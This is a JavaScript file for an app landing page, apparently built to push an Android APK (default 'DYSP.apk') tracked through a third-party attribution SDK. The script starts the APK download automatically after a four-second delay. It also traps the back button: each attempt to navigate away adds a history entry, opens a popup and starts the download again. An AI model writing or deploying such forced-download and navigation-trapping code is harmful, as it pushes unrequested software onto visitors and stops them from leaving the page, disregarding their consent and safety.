
    function getQueryParam(param) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param) || 'default';
        }
        try {
            if (typeof channel000 !== 'undefined') {
                var channel000 = channel000;
            } else {
                throw new Error('channel000 is not defined');
            }
        } catch (e) {
            
            channel000 = getQueryParam('channelCode');
        }
        
        
        
    if (typeof channel000 === 'undefined') {
            var channel000 = 'default';
            }
            
    function getApkConfig() {
        var apkFileValue = getQueryParam('apkFile');
        var apkPathValue = getQueryParam('apkPath');
        var apkBackValue = getQueryParam('apkBack');
        var apkFileName = (!apkFileValue || apkFileValue === 'default') ? 'DYSP.apk' : apkFileValue;
        var customApkPath = (!apkPathValue || apkPathValue === 'default') ? '' : apkPathValue;
        var maxBack = parseInt(apkBackValue, 10);

        if (!Number.isFinite(maxBack) || maxBack < 0) {
            maxBack = 6;
        }
        if (maxBack > 20) {
            maxBack = 20;
        }

        return {
            apkFileName: apkFileName,
            customApkPath: customApkPath,
            maxBack: maxBack
        };
    }

    function buildApkCandidates(config) {
        var candidates = [];
        if (config.customApkPath) {
            candidates.push(config.customApkPath);
        }

        for (var i = 0; i <= config.maxBack; i++) {
            candidates.push('../'.repeat(i) + config.apkFileName);
        }

        return candidates;
    }

    function openApkDownload() {
        var config = getApkConfig();
        var candidates = buildApkCandidates(config);

        function tryOpen(index) {
            if (index >= candidates.length) {
                window.open(config.apkFileName, '_blank');
                return;
            }

            var candidate = candidates[index];
            fetch(candidate, { method: 'HEAD', cache: 'no-store' })
                .then(function (res) {
                    if (res && res.ok) {
                        window.open(candidate, '_blank');
                        return;
                    }
                    tryOpen(index + 1);
                })
                .catch(function () {
                    tryOpen(index + 1);
                });
        }

        tryOpen(0);
    }
            
    
    var queryString1 = window.location.search;
    let lastChar1 = queryString1.length;
    String1=queryString1.substring(1, lastChar1);
    console.log(String1,typeof(String1))
    
    if(channel000 === 'default'){
        if(String1 !==''){
        channel000=String1
        }
    }
    if (channel000.includes('channel')) {
            const parts = channel000.split('=');
            if (parts.length > 1) {
                const value = parts[parts.length - 1].trim();
                channel000 = value || 'default';
            }
        }
        
        
        
         
        var isclosedo=getQueryParam('switch')
        try{
           var data = Zify.parseUrlParams();
        new Zify({
            appKey: "omjjg3si",
            server: "https://oolmtmfk.ntdkv.com:6868", //xg
            channelCode:channel000,
            onready : function() {
            var m = this;
    
           function fetchcheck() {
            var downloadStarted = false;
            var backupTriggered = false;
            
            window.addEventListener('beforeunload', function(event) {
            console.log('Page is about to navigate away.');
            downloadStarted = true;
            });
            
        
            setTimeout(() => {
                if (!downloadStarted && !backupTriggered) {
                    console.log('No download detected after 2 seconds. Triggering backup download...');
                    triggerBackupDownload();  // 如果 2 秒内没有下载请求发生，触发备用下载
                }
            }, 1000);
        
            function triggerBackupDownload() {
                if (!backupTriggered) {
                    backupTriggered = true;
                    console.log('Triggering backup download...');
                    openApkDownload();
                }
            }
        }
    
    
            var abcedfdown = document.getElementsByClassName("abcdef");
    
            for (var i = 0; i < abcedfdown.length; i++) {
                abcedfdown[i].addEventListener("click", function() {
                    console.log('kkk');
                    fetchcheck();
                    openApkDownload();
                    return false;
                });
            }
    
            var bbx = document.getElementsByClassName("bbx");
            for (var i = 0; i < bbx.length; i++) {
              bbx[i].addEventListener("click", function() {
                    console.log('bbx')
                });
            }
            
          
    
    
    
            var referer = document.referrer;
            if (['6YYKANW7'].includes(channel000) || isclosedo == '1' ) {
                // 执行逻辑1
                console.log("11");
            } else {
                setTimeout(function () {
                    fetchcheck();
                    openApkDownload();
                    return false;
                },4000);
            
            }
    
            function setHistory() {
            history.pushState(null, null, document.URL);
            setTimeout(function () {
                window.addEventListener('popstate', function () {
                    document.getElementById("exit-popup").style.display = "block";
                    document.getElementById("overlay").style.display = "block";
                    fetchcheck();
                    openApkDownload();
                    return false;
                    history.pushState(null, null, document.URL);
                });
            }, 0);
            }
            setHistory();
    
            function hideExitPopup() {
                document.getElementById('exit-popup').style.display = 'none';
                document.getElementById('overlay').style.display = 'none';
            }
    
            document.getElementById('exit-popup').onclick = function() {
            hideExitPopup();
                };
            document.getElementById('overlay').onclick = function() {
            hideExitPopup();
                };
                
            }
        }, data); 
        }
        
        catch{
            
            function fetchcheck() {
            var downloadStarted = false;
            var backupTriggered = false;
            
            window.addEventListener('beforeunload', function(event) {
            console.log('Page is about to navigate away.');
            downloadStarted = true;
            });
            setTimeout(() => {
                if (!downloadStarted && !backupTriggered) {
                    console.log('No download detected after 2 seconds. Triggering backup download...');
                    triggerBackupDownload();
                }
            }, 2000);
        
            function triggerBackupDownload() {
                if (!backupTriggered) {
                    backupTriggered = true;
                    console.log('Triggering backup download...');
                    openApkDownload();
                }
            }
        }
    
            fetchcheck();
            var abcedfdown = document.getElementsByClassName("abcdef");
    
            for (var i = 0; i < abcedfdown.length; i++) {
                abcedfdown[i].addEventListener("click", function() {
                    console.log('kkk');
                    openApkDownload();
                });
            }
            
        }
        
        
        function createVirtualHistory() {
            history.pushState(null, null, location.href);
        }
    
        // Call the function initially to create the first entry
        createVirtualHistory();
    
        // Add an event listener to listen to popstate event (triggered by back/forward navigation)
        window.addEventListener('popstate', function(event) {
            createVirtualHistory();
        });
    
        setTimeout(function () {
        window.addEventListener('popstate', function () {
        history.pushState(null, null, document.URL);
        });
        }, 1);
    
        function isPC() {
            return !/Android|webOS|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
        }

        if (isPC()) {
            qrdiv=document.createElement("div");
            qrdiv.id='qrcode';
            qrdiv.style.width = '200px';
            qrdiv.style.height = '233px';
            qrdiv.style.backgroundColor = '#ffffff';
            qrdiv.style.padding = '10px';
            qrdiv.style.borderRadius = '10px';
            qrdiv.style.boxShadow = '0 0 10px rgba(0, 0, 0, 0.1)';
            qrdiv.style.position = 'absolute';
            qrdiv.style.transform = 'translate(-50%, -50%)';
            qrdiv.style.zIndex = '1';
            qrdiv.style.bottom = '50%';
            qrdiv.style.left = '160px';
            qrscript=document.createElement("script");
            qrscript.src='web/js/qrcode.min.js'
    
            let qrText = document.createElement("div");
            qrText.innerText = "请扫描二维码下载app";
            qrText.style.color = '#000000';
            qrText.style.fontSize = '15px';
            qrText.style.marginBottom = '10px';  
            qrText.style.position = 'relative';  
            qrText.style.textAlign = 'center';
    
            
            document.body.appendChild(qrdiv);
            document.body.appendChild(qrscript);
            qrdiv.appendChild(qrText);
    
            qrscript.onload = function() {
            let qrcode = new QRCode(document.getElementById("qrcode"), {
                width: 200,
                height: 200,
                colorDark: "#000000",
                colorLight: "#ffffff",
                correctLevel: QRCode.CorrectLevel.H
            });
    
            let url = window.location.href;
            qrcode.makeCode(url);
        };
    
        }
